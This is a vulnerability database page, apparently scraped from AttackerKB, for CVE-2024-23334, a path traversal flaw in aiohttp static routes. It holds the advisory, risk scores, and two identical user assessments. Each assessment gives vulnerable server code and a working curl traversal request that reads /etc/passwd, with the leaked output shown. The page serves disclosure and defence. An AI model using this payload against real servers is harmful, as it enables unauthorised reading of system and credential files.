Lucene search

K
attackerkbAttackerKBAKB:FA1957E8-1470-40A4-85B8-A44D2ED74D4A
HistoryJan 29, 2024 - 12:00 a.m.

CVE-2024-23334

2024-01-2900:00:00
attackerkb.com
2
aiohttp
path traversal
vulnerability
python
static files
directory traversal

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

6.5 Medium

AI Score

Confidence

Low

0.052 Low

EPSS

Percentile

93.0%

aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option ‘follow_symlinks’ can be used to determine whether to follow symbolic links outside the static root directory. When ‘follow_symlinks’ is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.

Recent assessments:

cn-kali-team at February 27, 2024 12:29pm UTC reported:

CVE-2024-23334 Path Traversal

Environment Setup

  • Vulnerable code

  • pip install aiohttp==3.9.1

    examples/server_simple.py

    from aiohttp import web

    app = web.Application()
    app.router.add_routes([
    web.static(“/static”, “static/”, follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability
    ])

    if name == ‘main’:
    web.run_app(app)

    访问 https://www.jetbrains.com/help/pycharm/ 获取 PyCharm 帮助

Execute following commands to start an aiohttp:3.9.1 :

python main.py

Exploit

➜  CVE-2024-23334 git:(master) ✗ curl --path-as-is http://127.0.0.1:8080/static/../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

abirfo at February 27, 2024 9:36pm UTC reported:

CVE-2024-23334 Path Traversal

Environment Setup

  • Vulnerable code

  • pip install aiohttp==3.9.1

    examples/server_simple.py

    from aiohttp import web

    app = web.Application()
    app.router.add_routes([
    web.static(“/static”, “static/”, follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability
    ])

    if name == ‘main’:
    web.run_app(app)

    访问 https://www.jetbrains.com/help/pycharm/ 获取 PyCharm 帮助

Execute following commands to start an aiohttp:3.9.1 :

python main.py

Exploit

➜  CVE-2024-23334 git:(master) ✗ curl --path-as-is http://127.0.0.1:8080/static/../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 5

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

6.5 Medium

AI Score

Confidence

Low

0.052 Low

EPSS

Percentile

93.0%